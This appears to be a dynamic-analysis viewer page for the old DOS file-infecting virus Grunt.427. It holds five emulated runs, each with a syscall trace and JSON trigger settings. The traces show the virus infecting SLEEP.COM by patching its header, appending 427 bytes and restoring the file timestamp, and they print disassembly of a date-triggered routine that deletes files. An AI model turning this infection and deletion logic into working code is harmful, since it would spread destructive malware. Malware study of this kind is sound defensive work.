Sample viewer

vx.netlux.org/Virus.DOS.Grunt.427

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:56:32.156293095Z 26 PC: 12c00 | Set disk transfer address
2018-12-17T22:56:32.157821202Z 71 PC: 12b14 | Get current directory
2018-12-17T22:56:32.160674517Z 78 PC: 12b24 | Find first file
2018-12-17T22:56:32.166476341Z 61 PC: 12b7b | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:56:32.178147868Z 63 PC: 12b87 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:56:32.184184975Z 66 PC: 12c08 | Move file pointer
2018-12-17T22:56:32.185474439Z 64 PC: 12bb9 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:56:32.188021652Z 66 PC: 12c08 | Move file pointer
2018-12-17T22:56:32.189621649Z 44 PC: 12bc2 | Get time 0x12bc2: mov word ptr ds:[bp + 0x2a8], dx
0x12bc7: call 0x22a86
0x12bca: mov ah, 0x40
0x12bcc: mov cx, 0x1ab
0x12bcf: lea dx, word ptr [bp + 0x103]
0x12bd3: int 0x21
0x12bd5: mov ax, 0x5701
0x12bd8: mov cx, word ptr ds:[bp + 0x2c6]
0x12bdd: mov dx, word ptr ds:[bp + 0x2c8]
0x12be2: int 0x21
0x12be4: mov ah, 0x3e
0x12be6: int 0x21
0x12be8: call 0x22a86
0x12beb: call 0x22b35
0x12bee: call 0x22a86
0x12bf1: mov ah, 0x3b
0x12bf3: lea dx, word ptr [bp + 0x2e2]
0x12bf7: int 0x21
0x12bf9: mov dx, 0x80
0x12bfc: mov ah, 0x1a
2018-12-17T22:56:32.194179604Z 64 PC: 12bd5 | Write file or device (Write 427 bytes on handle 5)
2018-12-17T22:56:32.439449938Z 87 PC: 12be4 | Get or set file date and time
2018-12-17T22:56:32.441514849Z 62 PC: 12be8 | Close file
2018-12-17T22:56:32.451908946Z 42 PC: 12b39 | Get date 0x12b39: cmp cx, 0x7c9
0x12b3d: jl 0x12b71
0x12b3f: cmp dh, 9
0x12b42: jne 0x12b71
0x12b44: cmp dl, 3
0x12b47: jne 0x12b71
0x12b49: mov ah, 0x4e
0x12b4b: lea dx, word ptr [bp + 0x185]
0x12b4f: xor cx, cx
0x12b51: int 0x21
0x12b53: jae 0x12b61
0x12b55: lea dx, word ptr [bp + 0x192]
0x12b59: mov ah, 0x3b
0x12b5b: int 0x21
0x12b5d: jb 0x12b71
0x12b5f: jmp 0x12b49
0x12b61: mov ah, 0x41
0x12b63: lea dx, word ptr [bp + 0x2ce]
0x12b67: int 0x21
0x12b69: mov ah, 9
2018-12-17T22:56:32.456370505Z 59 PC: 12bf9 | Change current directory
2018-12-17T22:56:32.460496019Z 26 PC: 12c00 | Set disk transfer address
2018-12-17T22:56:32.46149195Z 9 PC: 12a47 | Display string (String= 'Cairo Research Labs - 1992')

{"DateBased":true,"Day":3,"Month":9,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12255,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:32:15.85075619Z 26 PC: 12c00 | Set disk transfer address
2018-12-25T12:32:15.851772368Z 71 PC: 12b14 | Get current directory
2018-12-25T12:32:15.854037725Z 78 PC: 12b24 | Find first file
2018-12-25T12:32:15.857889383Z 61 PC: 12b7b | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:32:15.862053967Z 63 PC: 12b87 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:32:15.866753106Z 66 PC: 12c08 | Move file pointer
2018-12-25T12:32:15.867918451Z 64 PC: 12bb9 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:32:15.869640153Z 66 PC: 12c08 | Move file pointer (See above)
2018-12-25T12:32:15.871104354Z 44 PC: 12bc2 | Get time 0x12bc2: mov word ptr ds:[bp + 0x2a8], dx
0x12bc7: call 0x22a86
0x12bca: mov ah, 0x40
0x12bcc: mov cx, 0x1ab
0x12bcf: lea dx, word ptr [bp + 0x103]
0x12bd3: int 0x21
0x12bd5: mov ax, 0x5701
0x12bd8: mov cx, word ptr ds:[bp + 0x2c6]
0x12bdd: mov dx, word ptr ds:[bp + 0x2c8]
0x12be2: int 0x21
0x12be4: mov ah, 0x3e
0x12be6: int 0x21
0x12be8: call 0x22a86
0x12beb: call 0x22b35
0x12bee: call 0x22a86
0x12bf1: mov ah, 0x3b
0x12bf3: lea dx, word ptr [bp + 0x2e2]
0x12bf7: int 0x21
0x12bf9: mov dx, 0x80
0x12bfc: mov ah, 0x1a
2018-12-25T12:32:15.874077052Z 64 PC: 12bd5 | Write file or device (Write 427 bytes on handle 5)
2018-12-25T12:32:15.889821328Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:32:15.891693963Z 62 PC: 12be8 | Close file
2018-12-25T12:32:15.898469721Z 42 PC: 12b39 | Get date 0x12b39: cmp cx, 0x7c9
0x12b3d: jl 0x12b71
0x12b3f: cmp dh, 9
0x12b42: jne 0x12b71
0x12b44: cmp dl, 3
0x12b47: jne 0x12b71
0x12b49: mov ah, 0x4e
0x12b4b: lea dx, word ptr [bp + 0x185]
0x12b4f: xor cx, cx
0x12b51: int 0x21
0x12b53: jae 0x12b61
0x12b55: lea dx, word ptr [bp + 0x192]
0x12b59: mov ah, 0x3b
0x12b5b: int 0x21
0x12b5d: jb 0x12b71
0x12b5f: jmp 0x12b49
0x12b61: mov ah, 0x41
0x12b63: lea dx, word ptr [bp + 0x2ce]
0x12b67: int 0x21
0x12b69: mov ah, 9
2018-12-25T12:32:15.900130988Z 78 PC: 12b53 | Find first file
2018-12-25T12:32:15.907537494Z 59 PC: 12b5d | Change current directory
2018-12-25T12:32:15.914651738Z 59 PC: 12bf9 | Change current directory
2018-12-25T12:32:15.919437125Z 26 PC: 12c00 | Set disk transfer address (See above)
2018-12-25T12:32:15.920499804Z 9 PC: 12a47 | Display string (String= 'Cairo Research Labs - 1992')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12255,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:32:16.100827607Z 26 PC: 12c00 | Set disk transfer address
2018-12-25T12:32:16.102570807Z 71 PC: 12b14 | Get current directory
2018-12-25T12:32:16.105750221Z 78 PC: 12b24 | Find first file
2018-12-25T12:32:16.112041915Z 61 PC: 12b7b | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:32:16.125974149Z 63 PC: 12b87 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:32:16.130764231Z 66 PC: 12c08 | Move file pointer
2018-12-25T12:32:16.131996855Z 64 PC: 12bb9 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:32:16.133970957Z 66 PC: 12c08 | Move file pointer (See above)
2018-12-25T12:32:16.13554301Z 44 PC: 12bc2 | Get time 0x12bc2: mov word ptr ds:[bp + 0x2a8], dx
0x12bc7: call 0x22a86
0x12bca: mov ah, 0x40
0x12bcc: mov cx, 0x1ab
0x12bcf: lea dx, word ptr [bp + 0x103]
0x12bd3: int 0x21
0x12bd5: mov ax, 0x5701
0x12bd8: mov cx, word ptr ds:[bp + 0x2c6]
0x12bdd: mov dx, word ptr ds:[bp + 0x2c8]
0x12be2: int 0x21
0x12be4: mov ah, 0x3e
0x12be6: int 0x21
0x12be8: call 0x22a86
0x12beb: call 0x22b35
0x12bee: call 0x22a86
0x12bf1: mov ah, 0x3b
0x12bf3: lea dx, word ptr [bp + 0x2e2]
0x12bf7: int 0x21
0x12bf9: mov dx, 0x80
0x12bfc: mov ah, 0x1a
2018-12-25T12:32:16.138755801Z 64 PC: 12bd5 | Write file or device (Write 427 bytes on handle 5)
2018-12-25T12:32:16.154461961Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:32:16.156127614Z 62 PC: 12be8 | Close file
2018-12-25T12:32:16.167548192Z 42 PC: 12b39 | Get date 0x12b39: cmp cx, 0x7c9
0x12b3d: jl 0x12b71
0x12b3f: cmp dh, 9
0x12b42: jne 0x12b71
0x12b44: cmp dl, 3
0x12b47: jne 0x12b71
0x12b49: mov ah, 0x4e
0x12b4b: lea dx, word ptr [bp + 0x185]
0x12b4f: xor cx, cx
0x12b51: int 0x21
0x12b53: jae 0x12b61
0x12b55: lea dx, word ptr [bp + 0x192]
0x12b59: mov ah, 0x3b
0x12b5b: int 0x21
0x12b5d: jb 0x12b71
0x12b5f: jmp 0x12b49
0x12b61: mov ah, 0x41
0x12b63: lea dx, word ptr [bp + 0x2ce]
0x12b67: int 0x21
0x12b69: mov ah, 9
2018-12-25T12:32:16.170677265Z 59 PC: 12bf9 | Change current directory
2018-12-25T12:32:16.175709667Z 26 PC: 12c00 | Set disk transfer address (See above)
2018-12-25T12:32:16.176851565Z 9 PC: 12a47 | Display string (String= 'Cairo Research Labs - 1992')

{"DateBased":true,"Day":1,"Month":1,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12255,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:32:16.986965652Z 26 PC: 12c00 | Set disk transfer address
2018-12-25T12:32:16.988551672Z 71 PC: 12b14 | Get current directory
2018-12-25T12:32:16.991988294Z 78 PC: 12b24 | Find first file
2018-12-25T12:32:16.998544471Z 61 PC: 12b7b | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:32:17.005721576Z 63 PC: 12b87 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:32:17.013041009Z 66 PC: 12c08 | Move file pointer
2018-12-25T12:32:17.014947082Z 64 PC: 12bb9 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:32:17.018249172Z 66 PC: 12c08 | Move file pointer (See above)
2018-12-25T12:32:17.020627322Z 44 PC: 12bc2 | Get time 0x12bc2: mov word ptr ds:[bp + 0x2a8], dx
0x12bc7: call 0x22a86
0x12bca: mov ah, 0x40
0x12bcc: mov cx, 0x1ab
0x12bcf: lea dx, word ptr [bp + 0x103]
0x12bd3: int 0x21
0x12bd5: mov ax, 0x5701
0x12bd8: mov cx, word ptr ds:[bp + 0x2c6]
0x12bdd: mov dx, word ptr ds:[bp + 0x2c8]
0x12be2: int 0x21
0x12be4: mov ah, 0x3e
0x12be6: int 0x21
0x12be8: call 0x22a86
0x12beb: call 0x22b35
0x12bee: call 0x22a86
0x12bf1: mov ah, 0x3b
0x12bf3: lea dx, word ptr [bp + 0x2e2]
0x12bf7: int 0x21
0x12bf9: mov dx, 0x80
0x12bfc: mov ah, 0x1a
2018-12-25T12:32:17.026370544Z 64 PC: 12bd5 | Write file or device (Write 427 bytes on handle 5)
2018-12-25T12:32:17.046139925Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:32:17.049168877Z 62 PC: 12be8 | Close file
2018-12-25T12:32:17.071567563Z 42 PC: 12b39 | Get date 0x12b39: cmp cx, 0x7c9
0x12b3d: jl 0x12b71
0x12b3f: cmp dh, 9
0x12b42: jne 0x12b71
0x12b44: cmp dl, 3
0x12b47: jne 0x12b71
0x12b49: mov ah, 0x4e
0x12b4b: lea dx, word ptr [bp + 0x185]
0x12b4f: xor cx, cx
0x12b51: int 0x21
0x12b53: jae 0x12b61
0x12b55: lea dx, word ptr [bp + 0x192]
0x12b59: mov ah, 0x3b
0x12b5b: int 0x21
0x12b5d: jb 0x12b71
0x12b5f: jmp 0x12b49
0x12b61: mov ah, 0x41
0x12b63: lea dx, word ptr [bp + 0x2ce]
0x12b67: int 0x21
0x12b69: mov ah, 9
2018-12-25T12:32:17.07763131Z 59 PC: 12bf9 | Change current directory
2018-12-25T12:32:17.083175224Z 26 PC: 12c00 | Set disk transfer address (See above)
2018-12-25T12:32:17.084883779Z 9 PC: 12a47 | Display string (String= 'Cairo Research Labs - 1992')

{"DateBased":true,"Day":1,"Month":9,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12255,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:32:17.476702531Z 26 PC: 12c00 | Set disk transfer address
2018-12-25T12:32:17.478699451Z 71 PC: 12b14 | Get current directory
2018-12-25T12:32:17.481346512Z 78 PC: 12b24 | Find first file
2018-12-25T12:32:17.487421245Z 61 PC: 12b7b | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:32:17.494828551Z 63 PC: 12b87 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:32:17.50101525Z 66 PC: 12c08 | Move file pointer
2018-12-25T12:32:17.502464118Z 64 PC: 12bb9 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:32:17.505705901Z 66 PC: 12c08 | Move file pointer (See above)
2018-12-25T12:32:17.507168054Z 44 PC: 12bc2 | Get time 0x12bc2: mov word ptr ds:[bp + 0x2a8], dx
0x12bc7: call 0x22a86
0x12bca: mov ah, 0x40
0x12bcc: mov cx, 0x1ab
0x12bcf: lea dx, word ptr [bp + 0x103]
0x12bd3: int 0x21
0x12bd5: mov ax, 0x5701
0x12bd8: mov cx, word ptr ds:[bp + 0x2c6]
0x12bdd: mov dx, word ptr ds:[bp + 0x2c8]
0x12be2: int 0x21
0x12be4: mov ah, 0x3e
0x12be6: int 0x21
0x12be8: call 0x22a86
0x12beb: call 0x22b35
0x12bee: call 0x22a86
0x12bf1: mov ah, 0x3b
0x12bf3: lea dx, word ptr [bp + 0x2e2]
0x12bf7: int 0x21
0x12bf9: mov dx, 0x80
0x12bfc: mov ah, 0x1a
2018-12-25T12:32:17.511721823Z 64 PC: 12bd5 | Write file or device (Write 427 bytes on handle 5)
2018-12-25T12:32:17.65354282Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:32:17.655635742Z 62 PC: 12be8 | Close file
2018-12-25T12:32:17.665631623Z 42 PC: 12b39 | Get date 0x12b39: cmp cx, 0x7c9
0x12b3d: jl 0x12b71
0x12b3f: cmp dh, 9
0x12b42: jne 0x12b71
0x12b44: cmp dl, 3
0x12b47: jne 0x12b71
0x12b49: mov ah, 0x4e
0x12b4b: lea dx, word ptr [bp + 0x185]
0x12b4f: xor cx, cx
0x12b51: int 0x21
0x12b53: jae 0x12b61
0x12b55: lea dx, word ptr [bp + 0x192]
0x12b59: mov ah, 0x3b
0x12b5b: int 0x21
0x12b5d: jb 0x12b71
0x12b5f: jmp 0x12b49
0x12b61: mov ah, 0x41
0x12b63: lea dx, word ptr [bp + 0x2ce]
0x12b67: int 0x21
0x12b69: mov ah, 9
2018-12-25T12:32:17.670330619Z 59 PC: 12bf9 | Change current directory
2018-12-25T12:32:17.67512716Z 26 PC: 12c00 | Set disk transfer address (See above)
2018-12-25T12:32:17.676082605Z 9 PC: 12a47 | Display string (String= 'Cairo Research Labs - 1992')